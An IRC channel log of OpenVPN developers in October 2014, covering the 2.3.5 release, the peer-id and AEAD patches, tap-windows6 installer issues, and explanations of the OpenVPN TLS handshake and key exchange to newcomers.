-!- mattock_afk is now known as mattock 05:36 <@cron2> syzzer, mattock: so I'll tag 2.3.5 right now! 05:36 <@cron2> (ok, will take the cleanup patch, then tag) 05:47 <@cron2> * [new tag] v2.3.5 -> v2.3.5 05:47 <@cron2> mattock: yours :) 05:59 <@vpnHelper> RSS Update - gitrepo: Remove unused variables from ssl_verify_openssl.c extract_x509_extension() <https://github.com/OpenVPN/openvpn/commit/86fe01897b9ec3f30c23395cc757f0e0b1393b03> 06:09 <@mattock> danke sehr 07:45 <@syzzer> cron2: cool! sorry for being unclear on the second patch, it was indeed meant for both master and 2.3 14:57 -!- mattock is now known as mattock_afk 15:35 <@syzzer> wheee, moar patches! --- Day changed Sun Oct 26 2014 01:09 -!- mattock_afk is now known as mattock 02:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:36 <@syzzer> mattock: did you disable directory listing on swupdate.openvpn.net on purpose? 05:38 <@syzzer> oh, and: will 2.3.5 be built for trusty too? 06:26 <@cron2> syzzer: wheee indeed! 06:40 <@syzzer> lot's of meta-stuff, but I find it very useful while debugging 06:46 <@cron2> ack, looks useful. Did not have enough brains to look more closely 07:54 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o andj__] by ChanServ 07:56 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 07:56 -!- andj__ is now known as andj 08:39 -!- Netsplit *.net <-> *.split quits: moveax3 08:43 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 09:00 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 09:01 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:01 -!- mode/#openvpn-devel [+o andj] by ChanServ 09:11 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 272 seconds] 09:37 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-kturvdpfhdwoyoyn] has quit [Read error: Connection reset by peer] 11:06 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-xbkhvgerfecyzwqr] has joined #openvpn-devel 11:27 <@syzzer> plaisthos: update AEAD branch: https://github.com/syzzer/openvpn/tree/aead-cipher-modes6 11:28 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes6 · GitHub (at github.com) 16:58 <@cron2> grrrr 16:59 <@cron2> my test server is making fun of me... it has 2 IPv6 addresses, and openvpn isn't doing --multihome, and so the answers are coming back from the wrong address - which the client is nicely telling me, but I mistook it for "oh, I messed up something in the patch I'm workign on"... 17:10 -!- mattock is now known as mattock_afk 17:38 <@plaisthos> syzzer: will look into it the next few days --- Day changed Mon Oct 27 2014 02:20 -!- mattock_afk is now known as mattock 03:01 <@syzzer> plaisthos: the interesting commits start after 'add --tls-version-max', the other stuff is my local master branch 05:13 -!- dazo_afk is now known as dazo 05:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 05:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [] 13:12 <@cron2> mattock: so what's the plan for 2.3.5 release? 13:13 <@mattock> tomorrow if all goes well 15:21 <@plaisthos> *sigh* more strange errors 15:22 <@plaisthos> syzzer: openvpn//src/openvpn/crypto_openssl.c:207:27: error: 'ERR_LIB_SSL' undeclared (first use in this function) 15:22 <@plaisthos> i have to add #include <openssl/err.h> to make it compile 15:24 <@syzzer> hmm, that one could be my fault... 15:24 <@plaisthos> or my rebase has gone wrong .. 15:24 <@syzzer> that was last time probably/ 15:25 <@syzzer> let me check if I use CC=clang on this workstation too... 15:25 <@plaisthos> syzzer: could also be because I am building against android at the moment 15:25 <@plaisthos> and includes might be /slightly/ different 15:26 <@syzzer> yeah, could be that it is somehow included automatically for some reason on my setup 15:27 <@syzzer> I don't get any compiler errors, not using the clang or gcc, both with ./configure --enable-strict 15:27 <@plaisthos> but with #include <openssl/err.h> it compiles for Android 15:27 <@syzzer> I'll add it, won't hurt :) 15:27 <@plaisthos> could also be a non standard build option of openssl on android 15:28 <@syzzer> btw, you have a beta channel for your app, right? 15:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel [] 15:29 <@syzzer> how does that work, do I get two versions of your app on a single device, or do I have to choose/ 15:29 <@plaisthos> yes 15:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:29 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:30 <@plaisthos> syzzer: no, there is a opt-in/opt-out page 15:30 -!- dazo is now known as dazo_afk 15:30 <@plaisthos> it will show up like usual but you get the apk I select as beta in the google developer console instead of the normal release version 15:31 <@plaisthos> you have to join this G+ community: https://plus.google.com/communities/114121831091105660092 15:31 <@plaisthos> and then the opt-in/out page (https://play.google.com/apps/testing/de.blinkt.openvpn) will work for you 15:31 <@vpnHelper> Title: Google Play (at play.google.com) 15:32 <@plaisthos> you can link the beta test to either a g+ community or a google group 15:32 <@syzzer> ah, right, then I get the beta version on all my devices 15:32 <@plaisthos> yes 15:33 <@plaisthos> copies of the apks are also always under http://plai.de/android/ 15:33 <@vpnHelper> Title: Index of /android (at plai.de) 15:33 <@syzzer> meh, I'll take the risk and spam you when it breaks ;) 15:35 <@plaisthos> syzzer: any reason to upgrade to beta? :) 15:35 <@plaisthos> or jsut for fun? ;) 15:36 <@syzzer> just for fun, you talking about building for android reminded I was planning to beta-test your app :) 15:39 <@plaisthos> the beta has currently a broken API for external apps, not sure if you care ;) 15:41 <@syzzer> nope, not using external apps 15:43 <@plaisthos> syzzer: Signed-off-by: Kenny Root <kenny@the-b.org> 15:43 <@plaisthos> syzzer: did you get him to review your patches? 15:45 <@syzzer> ah, good point, I left it in there originally because the first version was basically his patch 15:45 <@syzzer> but it has changed very much by now (squashed quite a bit in that branch), so I should probably remove it 15:46 <@syzzer> so, no, he did not review my patches 15:55 <@syzzer> there, two v2 patches for missing includes... 16:55 -!- mattock is now known as mattock_afk --- Day changed Tue Oct 28 2014 02:34 -!- dazo_afk is now known as dazo 03:00 -!- mattock_afk is now known as mattock 03:18 <@syzzer> heh, plaisthos, seems I'm keeping you busy :p 03:19 <@syzzer> oh, and totally agree with you on setting --tls-version-max to 1.1 automatically when using cryptoapicert 03:21 <@syzzer> (I mailed James to notify him on the patch just a minute ago, so he should be aware if it) 03:24 <@cron2> syzzer: you have been sending patches again?? 03:25 <@syzzer> cron2: yup, never ending patch stream ;) 03:26 <@plaisthos> cron2: now it is your work :p 03:26 <@syzzer> I'm planning to start the process for a new OpenVPN-NL release next week (and release some time after), and would like to include --tls-version-max (or similar) 03:26 <@cron2> plaisthos: well, you haven't ACKed all of them yet :) 03:26 <@syzzer> so I wanted to at least start the discussion before Munich 03:27 <@plaisthos> cron2: yeah. I need to have a closer look at some of the m before acking 03:27 <@cron2> I'm pretty much out of service regarding "meetings" for the next two weeks, but to discuss the matter with James, you don't particularily need me 03:28 <@plaisthos> !git 03:28 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 03:28 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 03:29 <@syzzer> cron2: that's why I forwarded the mail to James, so he is informed :) 03:48 <@plaisthos> syzzer: I used the wrong email in the first ACK, so you'll get my email twice 04:08 <@cron2> plaisthos: I've seen your ACK, but in this case, I want to give James a bit time to think through it (and agree :) ) 04:08 <@cron2> so I'll let this lie for a bit 04:10 <@plaisthos> cron2: no problem 05:32 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:01 < lev__> cron2: are you here? 06:08 <@cron2> no 06:08 * cron2 hides under the table 06:08 <@cron2> lev__: what's up? 06:10 < lev__> do you still have free spots in Hackatron? 06:10 < lev__> I would like to join, if possible 06:11 <@cron2> welcome :) - just put yourself in the wiki entry (ask mattock to give you write access if needed) 06:11 < lev__> cool, danke! 06:11 <@cron2> and if anything in the page about "where to go, how to get there" is unclear, feel free to ask here or by mail 06:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 06:15 < lev__> yep, no write access, can someone (mattock?) add me there or add write access to user "stipa" 06:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:17 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:17 <@cron2> mattock: *poke* 07:15 <@mattock> lev__: you can edit Wiki articles if you can login to Trac 07:15 <@mattock> and you can login if you've created an account using the "Register" link 07:48 < lev__> thanks, added. 08:23 <@cron2> lev__: have you seen my comments to your patch? 08:30 < lev__> yep, I fixed whitespaces, added assert and replaced malloc with calloc. Will try to send updated version today. 08:30 <@cron2> cool, thanks 08:30 <@cron2> then we just need word from James 08:31 <@cron2> (and then we merge the full patch into master, and I'd go for "merge the client side bits" into 2.3.6) 08:51 < Hes> The peer-id patch now logs a quite frightening "peer id forged" message, if HMAC does not match for the packet with its peer-id. 08:52 < Hes> If a server has 1000 clients, and it restarts (due to upgrade, config change, reboot), and then some new clients connect, and then the old clients which were connected before the restart start retransmitting their packets, 08:53 < Hes> there will be quite a lot of "forged!" logs. Maybe the log message could be adjusted a bit to describe what's happening, without making it sound like an absolutely-certain hacking attempt. 08:54 < Hes> So, something along the line of "hmac mismatch for peer-id %d - unknown client or forged packet" 08:55 < Hes> or "unknown peer" actually :) 08:57 <@cron2> lev__: yeah, hes is right. This will cause lots of questions otherwise 09:00 < lev__> will do! 09:00 < Hes> After the restart, I'd guess, that line will be logged easily hundreds of times on a busy server, with the client-side retransmissions. 09:01 <@cron2> maybe not log the line at all if the peer id slot is not in use 09:02 < Hes> It's actually not logged in that case. 09:02 < lev__> Well, strictly speaking that message will appear only if that peer-id already got occupied by a new client, which has connected after restart. 09:02 <@cron2> ah, perfect, so it won't be "hundreds" then :) 09:02 < Hes> There's a if (... && (m->instances[peer_id])) above that. 09:02 <@cron2> but certainly more than a few 09:02 < Hes> Quite a few. 09:21 <@dazo> lev__: if you're able to submit patches using git send-email, that can simplify the review process ... and sending a committed patch with send-email will make applying the patch to the tree is even easier 10:19 < lev__> dazo, cron2: patch sent with git send-email 10:19 <@dazo> :) 10:21 < lev__> GitHub says that it can be automatically merged 10:21 <@dazo> we don't do merges, as we want ACKs to be tracked on the ML and in the commit log 10:58 <@mattock> argh, tap-windows6 build (or rather, signing) drives me crazy 10:58 <@mattock> I probably have to add installer generation in the tap-windows6 buildsystem 10:59 <@mattock> but as the only fix in tap-windows6 does not affect OpenVPN I think I'll just release OpenVPN 2.3.5 with the older tap-windows6 driver 11:20 <@mattock> mm, I apparently added installer generation to tap-windows6 in April, but the changes are not yet in GitHub 11:20 <@mattock> good :) 11:38 -!- dazo is now known as dazo_afk 12:41 <@mattock> 2.3.5 passed windows smoketests 12:43 -!- livenets [~livenets@l37-192-45-175.novotelecom.ru] has joined #openvpn-devel 12:44 < livenets> !git 12:44 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 12:44 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 12:44 < livenets> hi everybody. I have a question related to porting OpenVPN protocol 12:47 <@mattock> livenets: you mean (re-)implementing the protocol? 12:50 < livenets> @mattock: i am developing embedded version of OpenVPN client, I do not understand auth mechanism and how does it differ from standard TLS handshake 12:50 < livenets> @mattock: what additional data do the client and server exchange? 12:50 <@mattock> syzzer or jamesyonan will probably be the best persons to answer that question 12:51 < livenets> @mattock: thanks 12:52 <@mattock> you can also send mail to openvpn-devel ml, but syzzer in particular is quite active here 12:52 <@mattock> so probably the IRC is your best bet 13:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:36 <@mattock> 2.3.5 is out: http://openvpn.net/index.php/download/community-downloads.html 13:36 <@vpnHelper> Title: Community Downloads (at openvpn.net) 13:36 <@mattock> will make the announcements now 13:59 <@mattock> done 13:59 <@mattock> now let's see if TDivine's fix actually fixes (most) of the tap-windows6 -related issues 14:00 <@syzzer> 2.3.5, yay \o/ 14:02 <@syzzer> livenets: the TLS handshake it pretty standard, but it incapsulated in a reliability layer, and prefixed with a byte that indicates it is a control packet 14:02 <@syzzer> unfortunately, the only real documentation of the protocol is the code... 14:02 <@syzzer> this one gives a bit of an overview: http://openvpn.net/index.php/open-source/documentation/security-overview.html 14:03 <@vpnHelper> Title: Security Overview (at openvpn.net) 14:24 < livenets> ok, i've looked at it. What is the key method relating to TLS? Is it transmitted after finishing the handshake as Application-Data? 14:24 < livenets> @syzzer: ok, i've looked at it. What is the key method relating to TLS? Is it transmitted after finishing the handshake as Application-Data? 14:28 <@syzzer> livenets: the handshake itself is performed by the ssl library, e.g. openssl or polarssl 14:29 <@syzzer> for the code controlling the library, read ssl.c, ssl_openssl.c (or ssl_polarssl.c) and ssl_verify.c/ssl_verify_{openssl,polarssl}.c 14:30 < livenets> got it already. I am still wondering at what stage do the client and server exchange key method data? 14:30 <@syzzer> what do you mean by key method data? 14:31 <@syzzer> ah, the data used in the key_method_2() functions/ 14:31 < livenets> yes, this one 14:32 <@syzzer> that after the TLS handshake was successful. Then openvpn uses the tls record protocol (the tls 'data transfer') to exchange the random used for the openvpn data channel keys 14:33 <@syzzer> so it's basically (1) set up tls connection (2) exchange data channel keys over tls (3) set up data channel (4) exchange network configuration over data channel 14:35 < livenets> so, the key_method_2_write/_read is (2), if I understand it right, yes? and what is needed from client to setuo data channel? 14:37 <@syzzer> oh, I was mistaking about (4), it exchanges it over the tls channel 14:38 <@syzzer> yes, key_method_2_read,write() basically does (2) and (what I called) (4) 14:39 <@syzzer> the key_method stuff is enough to derive data channel keys and set up the communication channel between client and server 14:40 <@syzzer> after the networking bits come into play, about which I'm less informed 14:41 < livenets> what do you mean by network configuration then? 14:42 <@syzzer> stuff like IP addresses, and pushed configuration like routes 14:44 <@syzzer> basically there's two parts. static stuff is in the options string, and exchanged during (2). Think stuff like link MTU, tun or tap protocol. Dynamic stuff like ip addresses and routes are in (4) 14:44 < livenets> ok, thaks a lot. The code stuff has become a bit clearer 14:45 <@syzzer> I usually focus on the crypto specifics, so I'm not completely sure on what happens after all keys are exchanged :p 14:46 < livenets> i do not need special crypto safety at current stage, the problem is to connect to VPN server and exchange data from the embedded device 14:46 <@syzzer> cool, you're welcome. 14:46 < livenets> anyway, thanks again 14:46 <@syzzer> what kind of embedded device are you trying to implement it on/ 14:47 <@syzzer> most be quite low-power? because openvpn itself runs on quite some platforms already 14:47 < livenets> think it as a bare metal, no linux, using FreeRTOS, armv7 platform 14:50 <@syzzer> ah, interesting. will it be open sources some day? would be interesting to see how well it will work on such platforms :) 14:51 < livenets> hope it will be a success 14:56 <@syzzer> i'm afk again, hope you'll succeed too! 15:09 -!- livenets [~livenets@l37-192-45-175.novotelecom.ru] has quit [] 15:46 -!- mattock is now known as mattock_afk 16:45 <@cron2> oh my, you'e been busy 16:54 <@plaisthos> cron2:Y eah 16:55 <@plaisthos> my super magic rebase skills failed me :D 16:55 <@plaisthos> Oct 28 22:54:54 hermes ovpn-aead[1108]: floating detected from [AF_INET]93.130.65.51:1194 to [AF_INET]89.204.137.143:36842 16:55 <@plaisthos> Oct 28 22:54:54 hermes ovpn-aead[1108]: hmac verification failed, session forge detected! 16:59 <@plaisthos> but at least this works: Oct 28 22:58:43 hermes ovpn-udp[8621]: 93.130.65.51:1194 peer info: IV_GUI_VER=de.blinkt.openvpn_0.6.19 17:00 <@plaisthos> Oct 28 22:55:39 hermes ovpn-aead[1108]: 89.204.137.143:36842 Data Channel Encrypt: Cipher 'AES-128-GCM' initialized with 128 bit key 17:01 <@cron2> plaisthos: impressive :-) but maybe we shouldn't do everything in one go... 17:01 <@plaisthos> cron2: :D --- Day changed Wed Oct 29 2014 01:27 -!- mattock_afk is now known as mattock 01:39 < lev__> plaisthos: the latest version (that was sent from git email) has less scary log message 02:57 -!- mattock is now known as mattock_afk 03:13 -!- mattock_afk is now known as mattock 03:40 < lev__> plaisthos: I just noticed that you've merged peer-id patch to ics-openvpn a while ago. Good stuff, any feedback on it? 03:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:56 <@plaisthos> lev__: no, no feedback at all 04:56 <@plaisthos> users usually only complain if something does not work 04:56 <@plaisthos> and I haven't really announced that session id is in OpenVPN for Android 04:57 <@plaisthos> only people like you who read commit logs know ;) 05:04 -!- mattock is now known as mattock_afk 05:08 <@cron2> unless people actually connect to a server that supports it it should not cause any visible change anyway :) 05:08 <@cron2> plaisthos: is that in the regular ics-openvpn or "beta channel"? 05:51 -!- dazo_afk is now known as dazo 05:55 < lev__> plaisthos: do you plan to merge a new version sometime soon (with peer-id) ? 05:56 -!- mattock_afk is now known as mattock 06:36 < lev__> I have a patch file with diff between your version of session-id patch and latest one. It can be applied without conflics. 06:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 07:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 07:05 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 07:39 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 245 seconds] 07:56 <@cron2> plaisthos is the master of rebasing and merging, he can quite easily turn any repository into a total mess! 07:59 < lev__> just tested ics-openvpn updated to latest patch and peer-id enabled server, float works nicely 07:59 < lev__> just have to tell client not to reconnect at network change and voila 09:12 <@plaisthos> cron2: Iirc it slipped into the regular channel 09:12 <@plaisthos> cron2: but with the session-id instead of peer-id 09:13 <@plaisthos> lev__: I will update the patch next time I do something with the repository, yes 09:13 < lev__> plaisthos, do you remember you pointed me to ssl.c ASSERT (buf_advance (buf, (op == P_DATA_V2) ? 4 : 1)); 09:14 <@plaisthos> lev__: yeah 09:14 <@cron2> plaistos: please do :-) -this will come in handy to test this here (walk around with my N7) 09:14 < lev__> should it be something like http://pastebin.com/raw.php?i=2vW1Awqc 09:15 <@plaisthos> lev__: yeah. I think so, I have not fully looked at the code but yes 09:15 <@plaisthos> I am not sure how OpenVPN otherwise deals with too short packets 09:15 <@plaisthos> Missing hmac/iv whatever should trigger the same problems 09:16 <+krzee> <MaxFrames> can you tell me the difference between the "for windows xp and above" and "for windows vista and above" builds in the community downloads? 09:16 <+krzee> <MaxFrames> I have windows 7, so I chose the latter and had issues with it; so I uninstalled it and installed the former, and the problems were gone 09:16 <+krzee> <MaxFrames> the problems being that I could connect to the remote vpn server (tap mode) but I could not actually get on the remote network 09:16 <+krzee> <MaxFrames> in addition, I couldn't disconnect the vpn connection, it stuck on "connected" no matter what 09:16 <+krzee> want that in trac ticket form? 09:18 <@plaisthos> krzee: is that already with 2.3.5? 09:20 <@cron2> plaisthos: I think there's a generic packet length check first, so the ASSERT() should never trigger 09:21 <@cron2> (ISTR having searched for that once...) 09:21 <@cron2> krzee: that was one of the issues people had with "the new tap driver" (it did not work and stuck), but hopefully fixed in 2.3.5 09:29 <+krzee> cron2, 2.3.5 is the only part of downloads section where xp+ and vista+ are separated 09:29 <+krzee> damn, user just quit 09:29 <@cron2> krzee: mattock did that for 2.3.4 as well 09:30 <+krzee> oh i guess he undid it when he updated the page then 09:30 <+krzee> oh i see theres no 2.3.4 on there now 09:30 <@cron2> (but I think it might have been 2.3.5, as the bug fixed really doesn't sound like these symptoms "non stoppable application" - that was "app going to a error-logging loop" 09:30 <+krzee> so ya, im not sure, user just left irc 09:30 * cron2 has to leave -> mattock 09:34 <@mattock> krzee: there have been a few issues in tap-windows6 (or rather, in OpenVPN 2.x when used with tap-windows6), and 2.3.5 contains a fix for one major problem 09:34 <@mattock> 2.3.4 does not 09:34 <@mattock> I suggest verifying that he/she is actually using 2.3.5 as opposed to 2.3.4 09:35 <+krzee> ya if he comes back on irc i will, i asked about it before he left, hopefully he makes a ticket if he is actually on 2.3.5 10:06 <@mattock> yeah, that makes sense 10:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:12 <@cron2> syzzer was able to reproduce the hang with the 601 installer at will... 11:19 <+krzee> will there be a meeting tomorrow? 11:19 <+krzee> not that i have anything specific to bring up, just curious 11:31 < lev__> plaisthos (and all): I've sent a new version with added buffer length check in ssl.c, so we won't assert if other side sends 1byte data packet. 11:36 < lev__> that's an only change 11:38 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-xbkhvgerfecyzwqr] has quit [Ping timeout: 265 seconds] 12:12 < shivanshu> hi, I have a question regarding certificate verification during tls handshake in openvpn. I noticed that in client, the certificate verification of server takes place after key_method_2_write()? Shouldn't it take place during handshake. i think I am missing something here. 12:40 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 12:40 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-ctzpmahemmhjfuzz] has joined #openvpn-devel 14:05 <@syzzer> shivanshu: certificate verification does take place during the handshake, it is performed by openssl or polarssl before key_method_2_write() is called. 14:06 <@syzzer> that has to be, because key_method_2_write() is called from tls_process(), which processes data that can only be received *after* a successful handshake 15:26 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 15:35 -!- dazo is now known as dazo_afk 16:22 -!- mattock is now known as mattock_afk 16:41 <@cron2> krzee: no meeting, as far as I'm concerned 17:23 <@plaisthos> in a client 17:23 <@plaisthos> which opitons for a <connection> are common/do you expect to see? 17:25 <@plaisthos> possible list is "local", "remote", "float", "port", "connect-retry", "connect-timeout", "connect-retry-max", "link-mtu", "tun-mtu", "tun-mtu-extra", "fragment", "mtu-disc", "local-port", "remote-port", "bind", "nobind", "proto", "http-proxy", "http-proxy-retry", "http-proxy-timeout", "http-proxy-option", "socks-proxy", "socks-proxy-retry", "explicit-exit-notify", "mssfix" 19:26 <@vpnHelper> RSS Update - tickets: #468: multiple clients with same cert leads to problems <https://community.openvpn.net/openvpn/ticket/468> 20:07 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 20:10 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 20:10 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 22:44 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-ctzpmahemmhjfuzz] has quit [Changing host] 22:44 -!- awestin1 [sid20967@unaffiliated/awestin1] has joined #openvpn-devel 22:44 -!- awestin1 [sid20967@unaffiliated/awestin1] has quit [Changing host] 22:44 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-ctzpmahemmhjfuzz] has joined #openvpn-devel --- Day changed Thu Oct 30 2014 00:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [] 00:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 02:07 <@cron2> no idea what is "common", but all these sound useful at times... 02:22 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 02:25 -!- mattock_afk is now known as mattock 02:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 02:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 02:33 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 02:43 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 244 seconds] 02:47 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 03:09 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 250 seconds] 03:10 <@vpnHelper> RSS Update - tickets: #469: Outdated copyright notices in some files <https://community.openvpn.net/openvpn/ticket/469> 04:05 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 04:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:12 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 244 seconds] 04:29 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 04:30 <@plaisthos> @469: WTF 04:34 <@mattock> plaisthos: yes? 04:34 <@mattock> just obsolete copyright notices, e.g. (C) 2010 instead of the correct one (C) 2014 05:06 <@plaisthos> yeah but why does the user care 05:06 <@plaisthos> and also for most files the (C) 2010 is more accurate 05:06 <@plaisthos> since OpenVPN Corp aka James has not touched the files since then 05:18 <@mattock> it seems that particular users cares about many things 05:19 <@mattock> the COPYING file should definitely be updated: 05:19 <@mattock> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. 05:20 <@mattock> james is not uber-active, but each release has many commits from him 05:20 <@mattock> and from other openvpn tech guys (like me) 05:20 <@mattock> sorry, README 05:21 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 244 seconds] 05:22 <@mattock> updated the ticket 05:44 -!- harshar [~harsh@103.246.106.24] has joined #openvpn-devel 06:16 <@plaisthos> mattock: yeah. I was more a "Why does he care?!" 06:22 -!- harshar [~harsh@103.246.106.24] has quit [Ping timeout: 245 seconds] 06:50 <@mattock> plaisthos: yeah, that's a good question 07:00 -!- harshar [~harsh@103.246.106.24] has joined #openvpn-devel 10:01 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 10:48 -!- srijanshetty [~srijanshe@14.139.38.11] has quit [Ping timeout: 264 seconds] 10:49 -!- harshar [~harsh@103.246.106.24] has quit [Ping timeout: 255 seconds] 13:18 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 13:23 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 15:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 16:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 16:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 16:59 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:04 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 17:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 17:09 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 17:20 -!- mattock is now known as mattock_afk 17:26 <+krzee> what does "it involves changing files in Git" mean? i thought all updates involve changing files in git 21:52 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 21:52 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 21:52 <+debbie10t> is anybody awake ? 21:52 <+debbie10t> i am here for the forum .. and apolies in advance 21:54 <+debbie10t> ecrist, your help would be appreciated ... 22:05 <+debbie10t> . 22:05 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Fri Oct 31 2014 01:20 -!- mattock_afk is now known as mattock 03:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:48 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 04:49 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 05:36 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 05:57 <@vpnHelper> RSS Update - tickets: #470: Segfault when starting <https://community.openvpn.net/openvpn/ticket/470> 06:03 <@vpnHelper> RSS Update - tickets: #471: Segfault when starting <https://community.openvpn.net/openvpn/ticket/471> 06:14 <@cron2> mattock: can you check what is wrong with #470? Doesn't display for me, with an internal template error 07:04 <@mattock> cron2: the gdb log in 470 in the description field makes the Trac template parser choke 07:04 <@mattock> possibly same as this: http://trac.edgewall.org/ticket/11261 07:04 <@vpnHelper> Title: #11261 (Genshi UnicodeEncodeError error while rendering template (unknown template location)) – The Trac Project (at trac.edgewall.org) 07:04 <@mattock> I'll zero the field and see if the ticket then loads 07:04 <@mattock> 470 is a duplicate of 471 anyways 07:04 <@cron2> mattock: yeah, please close as duplicate, I've answered 471 07:04 <@cron2> thanks 07:04 <@mattock> np 07:11 <@mattock> yeah, worked 07:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 08:35 <@syzzer> ... and I've close #471 :) 08:38 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 08:42 <@syzzer> mattock: have you seen the new reports in #431 (tap-windows6)? 08:43 <@mattock> 431? 08:43 <@mattock> "AD login" 08:43 <@syzzer> sorry, #432 08:44 <@mattock> yes, I know about it 08:44 <@syzzer> I was planning to test it this weekend, but seems I don't have to 08:44 <@mattock> the thing is that tap-windows6 buildsystem had issues, so I haven't been able to build a working installer 08:45 <@mattock> well, actually, I managed to hack together an installer, but that was a bit nasty 08:45 <@mattock> I'll probably have new tap-windows6 installers available early next week 08:45 <@mattock> and a new openvpn windows installer release later that week 08:46 <@syzzer> ok, cool. maybe good to tell that in the ticket too? 08:48 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 08:51 <@mattock> damn syzzer, you have a good point :) 08:52 <@mattock> done 08:55 <@cron2> syzzer: thanks 